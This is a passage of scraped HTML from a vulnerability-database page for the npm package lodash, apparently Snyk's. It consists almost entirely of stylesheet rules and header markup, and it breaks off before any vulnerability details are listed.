svg[data-v-94138f12]{fill:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#fff;border-color:#fff;color:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):hover{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none;padding:0 17px}.vue--button--inverted:not([disabled]).vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--large[data-v-94138f12]:hover{padding:0 24px}.vue--button--inverted:not([disabled]).vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--small[data-v-94138f12]:hover{padding:0 12px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large[data-v-94138f12]:hover{padding:0 23px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small[data-v-94138f12]:hover{padding:0 11px}.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#393842}.vue--button--basic:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#393842}.vue--button--basic:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:transparent!important;color:#393842;border-color:#4b45a1}.vue--button--animated-pulse-decorative[data-v-94138f12],.vue--button--animated-shimmer-decorative[data-v-94138f12],.vue--button--decorative[data-v-94138f12]{padding:0 19px}.vue--button--animated-pulse-decorative.vue--button--small[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--small[data-v-94138f12],.vue--button--decorative.vue--button--small[data-v-94138f12]{padding:0 14px}.vue--button--animated-pulse-decorative.vue--button--large[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--large[data-v-94138f12],.vue--button--decorative.vue--button--large[data-v-94138f12]{padding:0 26px}.vue--button--decorative[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:1;padding:0 19px}.vue--button--decorative[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-pulse[data-v-94138f12]{animation:pulse-data-v-94138f12 2s infinite;background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;padding:0 19px}.vue--button--decorative-animated-pulse[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:.8;opacity:1;overflow:hidden;position:relative;padding:0 19px}.vue--button--decorative-animated-shimmer[data-v-94138f12]:hover{color:#fff;opacity:1;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]:after{animation:shimmer-data-v-94138f12 6s ease-in-out .2s infinite;animation-fill-mode:forwards;content:\"\";position:absolute;top:0;left:-200%;width:200%;height:100%;opacity:0;background:hsla(0,0%,100%,.13);background:linear-gradient(90deg,hsla(0,0%,100%,.13) 0,hsla(0,0%,100%,.13) 77%,hsla(0,0%,100%,.7) 92%,hsla(0,0%,100%,0))}.vue--button--cta-link[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12],.vue--button--link[data-v-94138f12]{background-color:transparent;border:none;color:#4b45a1;height:auto;line-height:inherit;padding:0}.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:4px;left:0}.vue--button--cta-link .vue--label[data-v-94138f12],.vue--button--dimmed-link .vue--label[data-v-94138f12],.vue--button--inverted-link .vue--label[data-v-94138f12],.vue--button--link .vue--label[data-v-94138f12]{padding-right:4px}.vue--button--cta-link.vue--button--large[data-v-94138f12],.vue--button--cta-link.vue--button--small[data-v-94138f12],.vue--button--dimmed-link.vue--button--large[data-v-94138f12],.vue--button--dimmed-link.vue--button--small[data-v-94138f12],.vue--button--inverted-link.vue--button--large[data-v-94138f12],.vue--button--inverted-link.vue--button--small[data-v-94138f12],.vue--button--link.vue--button--large[data-v-94138f12],.vue--button--link.vue--button--small[data-v-94138f12]{padding:0}.vue--button--cta-link[data-v-94138f12]:not([disabled]){color:#157575}.vue--button--cta-link:not([disabled]).focus[data-v-94138f12],.vue--button--cta-link:not([disabled]).hover[data-v-94138f12],.vue--button--cta-link[data-v-94138f12]:not([disabled]):focus,.vue--button--cta-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#157575;text-decoration:underline}.vue--button--link[data-v-94138f12]:not([disabled]){color:#4b45a1}.vue--button--link:not([disabled]).focus[data-v-94138f12],.vue--button--link:not([disabled]).hover[data-v-94138f12],.vue--button--link[data-v-94138f12]:not([disabled]):focus,.vue--button--link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#4b45a1;text-decoration:underline}.vue--button--inverted-link[data-v-94138f12]:not([disabled]){color:#fff}.vue--button--inverted-link:not([disabled]).focus[data-v-94138f12],.vue--button--inverted-link:not([disabled]).hover[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12]:not([disabled]):focus,.vue--button--inverted-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#fff;text-decoration:underline}.vue--button--dimmed-link[data-v-94138f12]:not([disabled]){color:#727184}.vue--button--dimmed-link:not([disabled]).focus[data-v-94138f12],.vue--button--dimmed-link:not([disabled]).hover[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):focus,.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#727184;text-decoration:underline}.vue--button--cta-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--dimmed-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--inverted-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--link[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:transparent;opacity:.5}.vue--button--large[data-v-94138f12]{font-size:1.125rem;height:2.75rem;padding:0 24px}.vue--button--large.vue--button--cta-link[data-v-94138f12],.vue--button--large.vue--button--dimmed-link[data-v-94138f12],.vue--button--large.vue--button--inverted-link[data-v-94138f12],.vue--button--large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--large .material-design-icon[data-v-94138f12]  svg{height:28px;width:28px}.vue--button--large .vue--label[data-v-94138f12]{top:-2px}.vue--button--extra-large[data-v-94138f12]{font-size:1.125rem;height:3.125rem;padding:0 24px}.vue--button--extra-large.vue--button--cta-link[data-v-94138f12],.vue--button--extra-large.vue--button--dimmed-link[data-v-94138f12],.vue--button--extra-large.vue--button--inverted-link[data-v-94138f12],.vue--button--extra-large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--extra-large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--extra-large .material-design-icon[data-v-94138f12]  svg{height:30px;width:30px}.vue--button--extra-large .vue--label[data-v-94138f12]{top:-2px}.vue--button--small[data-v-94138f12]{font-size:.875rem;height:2rem;line-height:2;padding:0 12px}.vue--button--small+.vue--button--small[data-v-94138f12]{margin-left:4px}.vue--button--small.vue--button--cta-link[data-v-94138f12],.vue--button--small.vue--button--dimmed-link[data-v-94138f12],.vue--button--small.vue--button--inverted-link[data-v-94138f12],.vue--button--small.vue--button--link[data-v-94138f12]{height:auto;line-height:1.5}.vue--button--small .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--small .material-design-icon[data-v-94138f12]  svg{height:18px;width:18px}.vue--button--icon.vue--button--cta .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--danger .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted .material-design-icon[data-v-94138f12]{left:auto;right:auto}.vue--button--icon.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:0;left:auto;right:auto;top:0}.vue--button--icon.vue--button--cta-link.focus[data-v-94138f12],.vue--button--icon.vue--button--cta-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--dimmed-link.focus[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--inverted-link.focus[data-v-94138f12],.vue--button--icon.vue--button--inverted-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--link.focus[data-v-94138f12],.vue--button--icon.vue--button--link[data-v-94138f12]:focus{outline:1px dotted #4b45a1}@keyframes pulse-data-v-94138f12{0%{box-shadow:0 0 0 0 rgba(117,48,166,.6)}70%{box-shadow:0 0 0 10px rgba(117,48,166,0)}to{box-shadow:0 0 0 0 rgba(117,48,166,0)}}@keyframes shimmer-data-v-94138f12{10%{opacity:1;left:-30%;transition-property:left,opacity;transition-duration:10s,.15s;transition-timing-function:ease}to{opacity:0;left:-30%;transition-property:left,opacity}}\n.direct-vulnerability-section[data-v-fcd3a9bc]{margin:24px 0 32px}.direct-vulnerability-section[data-v-fcd3a9bc]  h3{font-weight:500;font-size:.9375rem;margin:24px 0 0}.direct-vulnerability-section h2.direct-vulnerability-title[data-v-fcd3a9bc]{font-size:.9375rem}.direct-vulnerability-section .direct-vulnerability-description[data-v-fcd3a9bc]{margin:12px 0 24px}.direct-vulnerability-section .direct-no-vulnerability-description[data-v-fcd3a9bc]{margin-top:0}\n.vue--prose[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.3125rem;color:inherit}@media only screen and (min-width:45em){.vue--prose[data-v-6b6ff1c7]{font-size:.9375rem;line-height:1.5rem}}.vue--prose p[data-v-6b6ff1c7]{margin:12px 0}.vue--prose p[data-v-6b6ff1c7]:first-child{margin-top:0}.vue--prose p[data-v-6b6ff1c7]:last-child{margin-bottom:0}.vue--prose strong[data-v-6b6ff1c7]{font-weight:500}.vue--prose em[data-v-6b6ff1c7]{font-style:italic}.vue--prose ol[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:decimal;font-feature-settings:\"pnum\"}.vue--prose ol li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose ul[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:disc;font-feature-settings:\"pnum\"}.vue--prose ul li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose--lead[data-v-6b6ff1c7]{font-size:1.125rem;line-height:2rem}.vue--prose--small[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.25rem}\n.vulns-table__wrapper.base-block[data-v-9065ff1a]{padding:12px 24px;margin:32px 0}.vulns-table__vulnerability-column[data-v-9065ff1a]{display:flex;font-size:.9375rem}.vulns-table[data-v-9065ff1a]  td:first-child{padding-top:1.1875rem;display:grid;grid-template-columns:8% minmax(0,90%);grid-column-gap:8px;-moz-column-gap:8px;column-gap:8px;align-items:center}.vulns-table[data-v-9065ff1a]  td:first-child pre{word-wrap:break-word}.vulns-table__description[data-v-9065ff1a]{grid-row-start:2;grid-column-start:2;padding:24px 0}.vulns-table__description[data-v-9065ff1a]  code{word-break:break-all;white-space:break-spaces}.vulns-table__how-to-fix[data-v-9065ff1a]{padding:24px 0 0;margin:0}.vulns-table[data-v-9065ff1a]  td:last-child{vertical-align:top}@media only screen and (max-width:720px){.vulns-table__wrapper.base-block[data-v-9065ff1a]{padding:0 12px}.vulns-table__severity[data-v-9065ff1a]{margin-right:8px}.vulns-table__description[data-v-9065ff1a]{display:grid;grid-template-columns:minmax(0,90%)}.vulns-table .table[data-v-9065ff1a]  table,.vulns-table .table[data-v-9065ff1a]  tbody,.vulns-table .table[data-v-9065ff1a]  td,.vulns-table .table[data-v-9065ff1a]  th,.vulns-table .table[data-v-9065ff1a]  thead,.vulns-table .table[data-v-9065ff1a]  tr{display:block}.vulns-table .table[data-v-9065ff1a]  thead tr{position:absolute;top:-9999px;left:-9999px}.vulns-table .table[data-v-9065ff1a]  tr{padding:12px 0}.vulns-table .table[data-v-9065ff1a]  td{border:none;padding:12px}.vulns-table .table[data-v-9065ff1a]  td:first-of-type{padding-left:12px}.vulns-table .table[data-v-9065ff1a]  td:before{display:block;font-feature-settings:\"pnum\";letter-spacing:.125em;margin:0;text-transform:uppercase;font-size:small;padding-bottom:8px}.vulns-table .table[data-v-9065ff1a]  td:first-of-type:before{content:\"Vulnerability\"}.vulns-table .table[data-v-9065ff1a]  td:nth-of-type(2):before{content:\"Vulnerable Version\"}}\n.vue--table[data-v-90f947a4]{width:100%}.vue--table__tfoot td[data-v-90f947a4]{font-style:italic;color:#b3b2bd;padding:24px 0 12px}.vue--table__tbody .vue--table__row[data-v-90f947a4],.vue--table__thead .vue--table__row[data-v-90f947a4]{border-bottom:1px solid #d3d3d9}.vue--table__tbody td[data-v-90f947a4],.vue--table__thead td[data-v-90f947a4]{padding:12px;vertical-align:middle}.vue--table__tbody td[data-v-90f947a4]:first-of-type,.vue--table__thead td[data-v-90f947a4]:first-of-type{padding-left:0}.vue--table__tbody td[data-v-90f947a4]:last-of-type,.vue--table__thead td[data-v-90f947a4]:last-of-type{padding-right:0}.vue--table__tbody .vue--table__row[data-v-90f947a4]:last-of-type{border-bottom:none}.vue--table__row--dimmed[data-v-90f947a4]{color:#727184}.vue--table--compact .vue--table__tbody td[data-v-90f947a4],.vue--table--compact .vue--table__thead td[data-v-90f947a4]{padding:4px}\n.vue--table-header[data-v-f6c06e32]{text-transform:uppercase;padding:12px;color:#504d80;letter-spacing:1.5px;font-size:.75rem}.vue--table-header[data-v-f6c06e32]:first-of-type{padding-left:0}.vue--table-header[data-v-f6c06e32]:last-of-type{padding-right:0}.vue--table-header[data-v-f6c06e32]:focus{box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease}.vue--table-header:focus.focus[data-v-f6c06e32],.vue--table-header:focus.hover[data-v-f6c06e32],.vue--table-header[data-v-f6c06e32]:focus:focus,.vue--table-header[data-v-f6c06e32]:focus:hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--table-header--sortable[data-v-f6c06e32]{cursor:pointer}.vue--table-header--sortable[data-v-f6c06e32]:hover{box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease}.vue--table-header--sortable:hover.focus[data-v-f6c06e32],.vue--table-header--sortable:hover.hover[data-v-f6c06e32],.vue--table-header--sortable[data-v-f6c06e32]:hover:focus,.vue--table-header--sortable[data-v-f6c06e32]:hover:hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--table-header--compact[data-v-f6c06e32]{padding:4px}.vue--table-header[data-v-f6c06e32]  .sort-icon svg{margin-top:-2px}\n.package-vulnerabilities .base-severity[data-v-46065f2c]{margin-right:12px}\n.vue--severity[data-v-87993300]{display:inline-flex;font-size:.8125rem;line-height:1.5rem;list-style:none;margin:0;padding:0}.vue--severity__item[data-v-87993300]{display:flex;padding:0;margin:0 4px 0 0}.vue--severity__item[data-v-87993300]:last-of-type{margin-right:0}.vue--severity__item--none .vue--severity__text[data-v-87993300]{background-color:#bfbfbf}.vue--severity__item--none .vue--severity__count[data-v-87993300]{background-color:#e8e8e8;color:#828282}.vue--severity__item--critical .vue--severity__text[data-v-87993300]{background-color:#ad1a1a}.vue--severity__item--critical .vue--severity__count[data-v-87993300]{color:#9f271e;background-color:#ffd8d6}.vue--severity__item--high .vue--severity__text[data-v-87993300]{background-color:#cc4f19}.vue--severity__item--high .vue--severity__count[data-v-87993300]{color:#9d3e15;background-color:#ffdbcc}.vue--severity__item--medium .vue--severity__text[data-v-87993300]{background-color:#d68100}.vue--severity__item--medium .vue--severity__count[data-v-87993300]{color:#945d1e;background-color:#ffe7cc}.vue--severity__item--low .vue--severity__text[data-v-87993300]{background-color:#86859d}.vue--severity__item--low .vue--severity__count[data-v-87993300]{color:#595775;background-color:#ededed}.vue--severity__type-icon[data-v-87993300]{position:relative;top:-1px}.vue--severity__count[data-v-87993300]{display:inline-block;background-color:#fff;font-feature-settings:\"pnum\";font-variant:proportional-nums;text-align:center;border-right:1px solid #fff;width:2rem;border-radius:2px 0 0 2px}.vue--severity__text[data-v-87993300]{color:#fff;padding:0 6px;text-align:center;text-decoration:none;height:1.5rem;width:1.5rem;border-radius:0 2px 2px 0;font-weight:500}.vue--severity--s[data-v-87993300]{font-size:.75rem;line-height:1.3125rem}.vue--severity--s .vue--severity__count[data-v-87993300]{width:1.6rem}.vue--severity--s .vue--severity__text[data-v-87993300]{padding:0 2px;height:1.3125rem;width:1.3125rem}.vue--severity--s.vue--severity--compact .vue--severity__text[data-v-87993300]{border-radius:2px;min-width:auto;width:1.3125rem}.vue--severity--compact .vue--severity__item[data-v-87993300]{padding-left:0;padding-right:0}.vue--severity--compact .vue--severity__text[data-v-87993300]{border-radius:2px;padding:0;text-align:center}.vue--severity--verbose-compact .vue--severity__item[data-v-87993300]{padding-left:0;padding-right:0}.vue--severity--verbose-compact .vue--severity__text[data-v-87993300]{border-radius:2px;padding:0;text-align:center;width:2.5rem}\n.vulnerable-versions__chip[data-v-40f87956]{margin:8px 8px 0 0}.vulnerable-versions__title[data-v-40f87956]{margin-bottom:0;text-transform:uppercase;font-size:small}\n.vue--chip[data-v-8483c778]{display:inline-flex;border-radius:2px;font-size:.8125rem;word-break:break-all}.vue--chip__value[data-v-8483c778]{line-height:1;padding:7px}.vue--chip__remove[data-v-8483c778]{display:inline-block;color:#727184;padding:0 4px}.vue--chip__remove[data-v-8483c778]  svg{height:12px;width:12px}.vue--chip__remove[data-v-8483c778]:focus,.vue--chip__remove[data-v-8483c778]:hover{cursor:pointer}.vue--chip--default[data-v-8483c778]{background-color:#e4e3e8}.vue--chip--default .vue--chip__remove[data-v-8483c778]:focus,.vue--chip--default .vue--chip__remove[data-v-8483c778]:hover{background-color:#d6d6dc}.vue--chip--blue[data-v-8483c778]{background-color:#d3e4f8}.vue--chip--blue .vue--chip__remove[data-v-8483c778]:focus,.vue--chip--blue .vue--chip__remove[data-v-8483c778]:hover{background-color:#bdd6f5}.vue--chip--orange[data-v-8483c778]{background-color:#fde1d3}.vue--chip--orange .vue--chip__remove[data-v-8483c778]:focus,.vue--chip--orange .vue--chip__remove[data-v-8483c778]:hover{background-color:#fcd0bb}\n.package-versions-table__container[data-v-f334a378]{display:flex;flex-direction:column;margin-bottom:32px}.package-versions-table__container[data-v-f334a378]  h2.package-versions-table__title{margin:24px 0 0;font-size:.9375rem}.package-versions-table__table-with-pagination[data-v-f334a378]{margin:32px 0 0}.package-versions-table__table .package-versions-table__base-block[data-v-f334a378]{margin:12px 0}.package-versions-table__table .package-versions-table__base-block .table-wrapper[data-v-f334a378]{padding:12px 24px}@media only screen and (max-width:900px){.package-versions-table__table .package-versions-table__base-block .table-wrapper[data-v-f334a378]{padding:0 12px}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  table,.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  tbody,.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  td,.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  th,.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  thead,.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  tr{display:block}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  thead tr{position:absolute;top:-9999px;left:-9999px}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  tr{padding:12px 0}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  td{border:none;padding:12px}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  td:before{display:block;font-feature-settings:\"pnum\";letter-spacing:.125em;margin:0;text-transform:uppercase;font-size:small;padding-bottom:8px}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  td:first-of-type:before{content:\"Version\"}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  td:nth-of-type(2):before{content:\"Published\"}.package-versions-table__table .package-versions-table__base-block .table[data-v-f334a378]  td:nth-of-type(3):before{content:\"Direct Vulnerabilities\"}}\n.site-footer[data-v-415ae652]{background-color:#120c68;color:#fff;min-height:140px;position:relative;padding-bottom:140px;padding-top:32px}.site-footer .site-footer__container[data-v-415ae652]{margin-bottom:32px}.site-footer .site-footer-bottom[data-v-415ae652]{align-items:center;display:flex;margin-top:48px}.site-footer .site-footer-bottom .subhead[data-v-415ae652]{color:#fff;font-size:13px;margin-left:32px}ul[data-v-415ae652]{list-style:none;padding:0}.nav__social[data-v-415ae652]{justify-self:center;grid-column-start:1;grid-column-end:5;text-align:center}.nav__social .nav__group__heading[data-v-415ae652]{color:#fff}.nav__social ul[data-v-415ae652]{margin-bottom:24px}.nav__social .list-social[data-v-415ae652]{display:flex;justify-content:center}.nav__social .list-social .list-social__link[data-v-415ae652]{color:#fff;fill:#fff;opacity:.5}.nav__social .list-social .list-social__link[data-v-415ae652]:hover{opacity:1}.nav__social .list-social .list-social__link[data-v-415ae652]  svg{height:1.875rem;width:1.875rem;margin-right:12px}.nav__social .list-social .list-social__link .npm-icon[data-v-415ae652]{height:24px;margin-top:3px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:auto;grid-template-rows:repeat(3,auto);grid-row-gap:16px}.nav__group[data-v-415ae652]{grid-column-start:1;grid-column-end:5}.nav__group .nav__group__heading[data-v-415ae652]{color:#fff}.nav__list[data-v-415ae652]{margin:0 32px 0 0}.nav__list .nav__list__item__link[data-v-415ae652],.nav__list .nav__list__item__link[data-v-415ae652]:hover{color:#fff;font-size:13px}.footer-banner[data-v-415ae652]{display:inline-block;width:210px;max-width:100%}.waves-wrapper[data-v-415ae652]{background-image:url(/_nuxt/img/footer-wave.102fbf5.svg);background-size:100% 100%;background-repeat:no-repeat;bottom:0;height:140px;left:0;overflow:hidden;pointer-events:none;position:absolute;right:0;width:100%;z-index:0}@media only screen and (min-width:26.25em){.nav__groups[data-v-415ae652]{grid-template-columns:repeat(4,1fr);grid-template-rows:auto auto}.nav__group[data-v-415ae652]{grid-column-start:unset;grid-column-end:unset}}@media only screen and (min-width:45em){.waves-wrapper[data-v-415ae652]{height:195px}.site-footer[data-v-415ae652]{padding-bottom:195px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:repeat(5,1fr);grid-template-rows:auto;grid-row-gap:0}.nav__social[data-v-415ae652]{justify-self:unset;grid-column-start:unset;grid-column-end:unset;text-align:left}.nav__social .list-social[data-v-415ae652]{justify-content:start}}</style>\n  </head>\n  <body >\n    <div data-server-rendered=\"true\" id=\"__nuxt\"><!----><div id=\"__layout\"><div class=\"page\" data-v-0fde60d6><header class=\"site-header\" data-v-be91f9d4 data-v-0fde60d6><div class=\"vue--layout-container site-header__container\" data-v-43af9ae8 data-v-be91f9d4><a href=\"/\" data-snyk-test=\"homepage-link\" class=\"vue--anchor title-link\" data-v-ce2707d6 data-v-be91f9d4><img src=\"/_nuxt/img/header-logo.aded646.svg\" alt=\"Homepage\" height=\"35\" width=\"272\" data-snyk-test=\"SiteHeader: logo\" data-v-ce2707d6 data-v-be91f9d4><!----><!----></a> <div tabindex=\"-1\" data-snyk-test=\"developer-tools-links\" class=\"vue--dropdown-menu dropdown-links vue--dropdown-menu--align-left\" data-v-64b0d6bd data-v-be91f9d4><div role=\"button\" data-snyk-text=\"BaseDropdownMenu: handle\" aria-haspopup=\"true\" tabindex=\"0\" aria-expanded=\"false\" class=\"vue--dropdown-menu__handle\" data-v-64b0d6bd>\n        Developer Tools\n        <svg width=\"12\" height=\"8\" viewBox=\"0 0 12 8\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" data-v-64b0d6bd data-v-be91f9d4><path d=\"M1.41 0.295044L6 4.87504L10.59 0.295044L12 1.70504L6 7.70504L0 1.70504L1.41 0.295044Z\" fill=\"#21214C\" data-v-64b0d6bd data-v-be91f9d4></path></svg></div> <div class=\"vue--dropdown-menu__menu\" data-v-64b0d6bd> <ul role=\"menu\" class=\"vue--dropdown-menu__menu--primary\" data-v-64b0d6bd> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://learn.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Learn\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snyk.io/advisor/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Advisor\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snyk.io/code-checker/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Checker\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snippets.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Snippets\n      <!----><!----></a></li></ul> <!----> </div></div> <a href=\"https://snyk.io\" data-snyk-test=\"about-link\" class=\"vue--anchor site-header__link\" data-v-ce2707d6 data-v-be91f9d4>\n      About Snyk\n    <!----><!----></a></div></header> <main data-v-0fde60d6><div data-v-7007bdd0 data-v-7aa75c07 data-v-0fde60d6><div class=\"package-heading\" data-v-78b4d265 data-v-7007bdd0><div class=\"vue--layout-container breadcrumbs-with-search\" data-v-43af9ae8 data-v-c193da48 data-v-78b4d265><div class=\"left\" data-v-43af9ae8 data-v-c193da48><nav data-snyk-test=\"vulnpage breadcrumbs\" class=\"vue--breadcrumbs\" data-v-4b4b4f2c data-v-c193da48><ol class=\"vue--breadcrumbs__list\" data-v-4b4b4f2c><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>Snyk Vulnerability Database</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln/npm\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>npm</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><span data-v-4b4b4f2c>lodash</span></li></ol></nav></div> <div class=\"right\" data-v-43af9ae8 data-v-c193da48><div data-v-4dbb44d0 data-v-c193da48><div class=\"vue--search-input\" data-v-e38673ba data-v-4dbb44d0><span aria-hidden=\"true\" aria-label=\"Magnify icon\" role=\"img\" class=\"material-design-icon magnify-icon vue--search-input__search-icon\" data-v-e38673ba data-v-e38673ba><svg fill=\"currentColor\" width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M9.5,3A6.5,6.5 0 0,1 16,9.5C16,11.11 15.41,12.59 14.44,13.73L14.71,14H15.5L20.5,19L19,20.5L14,15.5V14.71L13.73,14.44C12.59,15.41 11.11,16 9.5,16A6.5,6.5 0 0,1 3,9.5A6.5,6.5 0 0,1 9.5,3M9.5,5C7,5 5,7 5,9.5C5,12 7,14 9.5,14C12,14 14,12 14,9.5C14,7 12,5 9.5,5Z\"><!----></path></svg></span> <input type=\"search\" placeholder=\"Search by package name or CVE\" aria-label=\"Search by package name or CVE\" value=\"\" class=\"vue--search-input__field\" data-v-e38673ba> <!----></div> <!----></div></div></div> <div class=\"vue--layout-container\" data-v-43af9ae8 data-v-78b4d265><h1 data-snyk-test=\"package heading: title\" class=\"vue--heading title\" data-v-8dd2f746 data-v-78b4d265>\n      lodash vulnerabilities\n    </h1> <h2 data-snyk-test=\"package heading: description\" class=\"vue--heading description vue--heading--regular\" data-v-8dd2f746 data-v-78b4d265>\n      Lodash modular utilities.\n    </h2></div></div> <div class=\"vue--layout-container grid-wrapper\" data-v-43af9ae8 data-v-7007bdd0><div class=\"right\" data-v-43af9ae8 data-v-7007bdd0><div data-snyk-test=\"package page: details\" data-v-4d26b709 